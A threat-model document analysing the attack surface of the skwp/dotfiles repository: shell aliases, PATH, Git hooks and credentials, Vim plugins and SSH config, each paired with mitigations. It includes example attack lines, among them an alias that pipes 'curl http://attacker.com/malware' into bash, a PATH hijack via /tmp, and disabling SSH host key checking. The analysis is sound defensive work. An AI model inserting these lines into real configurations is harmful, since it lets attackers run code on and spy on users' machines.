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attack-surface.md

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Attack Surface Analysis for skwp/dotfiles

Attack Surface: Shell Alias and Function Injection

  • Description: Attackers can modify custom aliases and functions within shell configuration files (e.g., .bashrc, .zshrc, functions/*) to inject malicious code.
    • Dotfiles Contribution: The skwp/dotfiles heavily rely on custom aliases and functions for workflow optimization, creating numerous potential injection points.
    • Example: An attacker modifies the alias alias ga='git add' to alias ga='git add && curl http://attacker.com/malware | bash'. When the user runs ga, the malware is downloaded and executed.
    • Impact: Complete system compromise, arbitrary code execution, data exfiltration, persistence.
    • Risk Severity: Critical
    • Mitigation Strategies:
      • Code Review: Thoroughly review all aliases and functions for suspicious code or unintended behavior. Understand what each command does before adding it to your dotfiles.
      • Regular Audits: Periodically inspect your shell configuration files for unauthorized modifications. Use file integrity monitoring tools.
      • Least Privilege: Avoid running shell sessions as root. Use sudo only when absolutely necessary.
      • Version Control: Track changes to your dotfiles using Git. This allows you to revert to previous versions if necessary and provides an audit trail.
      • Sandboxing (Advanced): Consider running untrusted commands or scripts in a sandboxed environment (e.g., a container).

Attack Surface: Environment Variable Manipulation (PATH)

  • Description: Attackers can modify the PATH environment variable to prioritize malicious executables over legitimate system binaries.
    • Dotfiles Contribution: The skwp/dotfiles likely modifies the PATH to include custom bin directories, creating an opportunity for attackers to insert their own paths.
    • Example: An attacker adds export PATH=/tmp/malicious:$PATH to .bashrc. They then place a malicious executable named ls in /tmp/malicious. When the user runs ls, the malicious version is executed instead of the system's ls.
    • Impact: Arbitrary code execution, privilege escalation, system compromise.
    • Risk Severity: Critical
    • Mitigation Strategies:
      • Careful PATH Ordering: Ensure that system directories (e.g., /bin, /usr/bin) appear before any custom directories in the PATH.
      • Regular Review: Periodically check the PATH variable for unexpected entries.
      • Avoid Relative Paths: Use absolute paths whenever possible in the PATH to avoid ambiguity.
      • Least Privilege: Avoid running shell sessions as root.

Attack Surface: Git Configuration Exploitation (Hooks & Credentials)

  • Description: Attackers can modify the .gitconfig file or Git hooks to execute malicious code or steal credentials.
    • Dotfiles Contribution: The skwp/dotfiles likely includes a .gitconfig file with custom settings and potentially global Git hooks.
    • Example:
      • Credential Theft: An attacker finds plain-text Git credentials (username/password) stored in .gitconfig.
      • Hook Injection: An attacker modifies a global Git hook (e.g., pre-commit) to execute a malicious script whenever a commit is made.
    • Impact: Credential theft, code execution, repository compromise, data exfiltration.
    • Risk Severity: High
    • Mitigation Strategies:
      • Credential Helper: Use a Git credential helper (e.g., git-credential-store, git-credential-cache, or OS-specific keychains) to securely store Git credentials. Never store credentials directly in .gitconfig.
      • Hook Review: Carefully review all Git hooks (both global and repository-specific) for malicious code.
      • Two-Factor Authentication: Enable two-factor authentication for your Git hosting provider (e.g., GitHub, GitLab, Bitbucket).
      • SSH Keys: Use SSH keys for authentication instead of passwords.

Attack Surface: Vim/Neovim Plugin Vulnerabilities

  • Description: Vim/Neovim plugins, often written in Vimscript or Lua, can contain vulnerabilities that attackers can exploit.
    • Dotfiles Contribution: The skwp/dotfiles likely uses a plugin manager (e.g., vim-plug) and includes numerous plugins, increasing the attack surface.
    • Example: An attacker exploits a known vulnerability in a specific Vim/Neovim plugin to gain code execution when the user opens a specially crafted file.
    • Impact: Arbitrary code execution, system compromise, data exfiltration.
    • Risk Severity: High
    • Mitigation Strategies:
      • Plugin Updates: Regularly update all Vim/Neovim plugins to the latest versions.
      • Plugin Selection: Choose plugins from reputable sources and with a good security track record. Avoid installing plugins from unknown or untrusted sources.
      • Plugin Auditing: Periodically review the code of installed plugins for potential vulnerabilities.
      • Plugin Sandboxing (Advanced): Consider using a plugin manager that supports sandboxing or isolation features.
      • Disable Unnecessary Plugins: Remove any plugins that you don't actively use.

Attack Surface: SSH Configuration Misuse

  • Description: Incorrect or insecure SSH configuration in ~/.ssh/config can lead to compromised connections or unauthorized access.
    • Dotfiles Contribution: The skwp/dotfiles likely includes an ~/.ssh/config file with custom settings for SSH connections.
    • Example: An attacker modifies ~/.ssh/config to disable host key verification (StrictHostKeyChecking no), allowing them to perform a man-in-the-middle attack.
    • Impact: Man-in-the-middle attacks, credential theft, unauthorized access to remote systems.
    • Risk Severity: High
    • Mitigation Strategies:
      • Enable StrictHostKeyChecking: Ensure StrictHostKeyChecking is set to yes or ask in ~/.ssh/config to prevent connecting to untrusted hosts.
      • Use Strong Ciphers and MACs: Configure SSH to use strong cryptographic algorithms.
      • Limit Key Forwarding: Avoid using ForwardAgent unless absolutely necessary, and be aware of the security implications.
      • Regularly Review Configuration: Periodically review your ~/.ssh/config file for any unexpected or insecure settings.
      • Use a Dedicated SSH Key per Host (Best Practice): Avoid reusing the same SSH key for multiple hosts.